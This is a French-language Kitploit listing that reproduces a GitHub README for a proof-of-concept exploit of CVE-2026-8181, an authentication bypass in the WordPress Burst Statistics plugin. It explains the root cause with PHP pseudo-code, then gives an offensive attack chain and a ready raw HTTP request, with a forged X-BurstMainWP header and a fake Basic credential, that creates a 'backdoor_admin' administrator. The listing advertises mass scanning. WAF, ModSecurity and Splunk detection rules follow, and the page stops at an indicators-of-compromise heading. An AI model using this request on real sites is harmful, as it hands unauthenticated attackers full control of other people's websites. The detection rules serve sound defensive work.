Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-8181-PoC — PoC Python pour CVE-2026-8181, un contournement critique de l'authentification dans le plugin WordPress Burst Statistics. Inclut l'automatisation de l'exploitation, l'analyse en masse et la création de comptes administrateur pour des tests de sécurité autorisés. | Kitploit
Outils/GitHubGitHub/squamity/cve-2026-8181-poc
Outils DéfensifsAnalyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionAuthentificationApprentissage et ÉducationRed Teaming
GitHub
squamity/cve-2026-8181-poc

CVE-2026-8181-PoC

PoC Python pour CVE-2026-8181, un contournement critique de l'authentification dans le plugin WordPress Burst Statistics. Inclut l'automatisation de l'exploitation, l'analyse en masse et la création de comptes administrateur pour des tests de sécurité autorisés.

Voir le dépôt
11il y a 2 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

🚨 CVE-2026-8181 | Contournement d'authentification de Burst Statistics

CVE-2026-8181 CVSS WordPress Plugin Affected Versions Actively Exploited

[!CAUTION] ALERTE CRITIQUE : cette vulnérabilité permet à un attaquant distant non authentifié de contourner l'authentification et d'obtenir la totalité des privilèges d'administrateur sur le site WordPress cible en injectant simplement un en-tête HTTP personnalisé. Cette CVE fait actuellement l'objet d'une exploitation active dans la nature.


📑 Table des matières

  1. Résumé exécutif
  2. 🔬 Analyse approfondie : analyse des causes racines
  3. ⚔️ Manuel offensif : exploitation
  4. 🛡️ Manuel défensif : détection et atténuation
  5. 🛠️ Utilisation de l'outil PoC
  6. Références et avertissement

📖 Résumé exécutif

CVE-2026-8181 est une vulnérabilité critique de contournement de l'authentification affectant le plugin WordPress Burst Statistics (versions 3.4.0 à 3.4.1.1). Le défaut se situe dans l'intégration du proxy MainWP du plugin. En raison d'une validation inadéquate des mots de passe d'application lors du hook plugins_loaded exécuté trop tôt, le plugin accorde à tort un contexte administratif aux requêtes de l'API REST qui incluent l'en-tête X-BurstMainWP: 1, même si la requête est dépourvue d'identifiants valides.

Cela transforme une simple requête HTTP non authentifiée en une prise de contrôle administrative complète, contournant tous les mécanismes d'authentification standard de WordPress.


🔬 Analyse approfondie : analyse des causes racines

Pour comprendre comment un simple en-tête offre les clés du royaume, nous devons disséquer la logique PHP du gestionnaire d'authentification du plugin.

Le flux logique vulnérable

La vulnérabilité provient d'une branche conditionnelle mal gérée dans includes/Frontend/class-mainwp-proxy.php, au sein de la méthode is_mainwp_authenticated().

  1. Le déclencheur : le plugin enregistre init() sur plugins_loaded avec la priorité 9. C'est trop tôt dans le cycle de vie de WordPress.
  2. Le hook : lorsqu'une requête porte l'en-tête X-BurstMainWP: 1, has_admin_access() délègue l'authentification à is_mainwp_authenticated().
  3. L'appel au noyau : la méthode lit l'en-tête Authorization et transmet les identifiants à wp_authenticate_application_password() du noyau WordPress.
  4. Le défaut fatal (CWE-287) : comme l'API REST n'a pas encore défini le filtre application_password_is_api_request sur true (en raison de l'exécution précoce du hook), la fonction du noyau renvoie null au lieu d'un objet WP_Error.
  5. Le contournement : le plugin vérifie uniquement is_wp_error( $user ). Comme null n'est pas un WP_Error, la garde est franchie.
  6. La prise de contrôle : le code poursuit son exécution jusqu'à une branche non sécurisée, appelant wp_set_current_user() avec le nom d'utilisateur fourni par l'attaquant, élevant instantanément la requête à un contexte administrateur complet.

Représentation en pseudo-code

// Simplified representation of the vulnerable code in Burst Statistics <= 3.4.1.1
$user = wp_authenticate_application_password( null, $username, $password );

if ( is_wp_error( $user ) ) {
    return false; // Correctly handles explicit authentication failures
}

// 🚨 THE FATAL FLAW 🚨
// If no application password is provided or API request isn't flagged yet,
// wp_authenticate_application_password returns NULL.
// The code fails to check for NULL!
if ( $user === null ) {
    // Instead of failing securely, it falls through to this unsafe branch:
    $admin_user = get_user_by( 'login', $attacker_supplied_username );
    wp_set_current_user( $admin_user->ID ); // BOOM: Admin context granted!
    return true;
}

⚔️ Manuel offensif : exploitation

Cette section est destinée aux Red Teamers et aux testeurs d'intrusion autorisés.

La chaîne d'attaque

  1. Reconnaissance : identifiez que la cible exécute Burst Statistics <= 3.4.1.1 (par exemple, via /wp-content/plugins/burst-statistics/readme.txt).
  2. Énumération d'utilisateurs : trouvez un nom d'utilisateur administrateur valide. L'API REST de WordPress les divulgue souvent via GET /wp-json/wp/v2/users. Si elle est bloquée, utilisez l'astuce des archives d'auteur : /?author=1.
  3. Construction de la charge utile : construisez une requête HTTP POST pour créer un nouvel utilisateur : POST /wp-json/wp/v2/users.
  4. Injection d'en-tête : injectez les en-têtes magiques :
    • X-BurstMainWP: 1
    • Authorization: Basic <base64(admin_username:fake_password)>
  5. Exécution : le serveur traite la requête, atteint la vérification null défectueuse et élève la requête au contexte administrateur. Le nouvel utilisateur administrateur est créé.

Exemple de requête HTTP brute

POST /wp-json/wp/v2/users HTTP/1.1
Host: target.com
X-BurstMainWP: 1
Authorization: Basic YWRtaW46ZmFrZV9wYXNzd29yZA==
Content-Type: application/json

{
  "username": "backdoor_admin",
  "password": "SuperSecretPassword123!",
  "email": "[email protected]",
  "roles": ["administrator"]
}

[!IMPORTANT] Avertissement environnemental : cet exploit nécessite que l'en-tête Authorization atteigne PHP.

  • Nginx / LiteSpeed / Apache avec permaliens personnalisés (Pretty Permalinks) : l'en-tête est transmis. L'exploit RÉUSSIT.
  • Apache avec permaliens simples (par défaut) : l'en-tête est silencieusement supprimé par le serveur web. L'exploit ÉCHOUE.

🛡️ Manuel défensif : détection et atténuation

Cette section est destinée aux Blue Teamers, aux analystes SOC et aux administrateurs système.

🕵️ Stratégies de détection

1. Règles de pare-feu d'application web (WAF)

Bloquez ou surveillez l'en-tête spécifique en périphérie du réseau.

Règle ModSecurity / OWASP CRS :

SecRule REQUEST_HEADERS:X-BurstMainWP "@streq 1" \
    "id:1000001, \
    phase:1, \
    deny, \
    status:403, \
    log, \
    msg:'CVE-2026-8181: Burst Statistics Auth Bypass Attempt', \
    tag:'CVE-2026-8181', \
    severity:'CRITICAL'"

Règle personnalisée Cloudflare WAF :

(http.request.headers["X-BurstMainWP"] eq "1")


2. Analyse des journaux et requêtes SIEM

Recherchez dans les journaux de votre serveur web la présence de l'en-tête combinée à une création d'utilisateurs via l'API REST.

Requête Splunk / ELK :

index=web_logs ("X-BurstMainWP"="1" OR "x-burstmainwp"="1") AND uri="/wp-json/wp/v2/users" AND method="POST"
| stats count by src_ip, uri
| where count > 0

3. Indicateurs de compromission (IoC)

Si vous suspectez une intrusion, recherchez ces artefacts post-exploitation :

Télécharger l’outil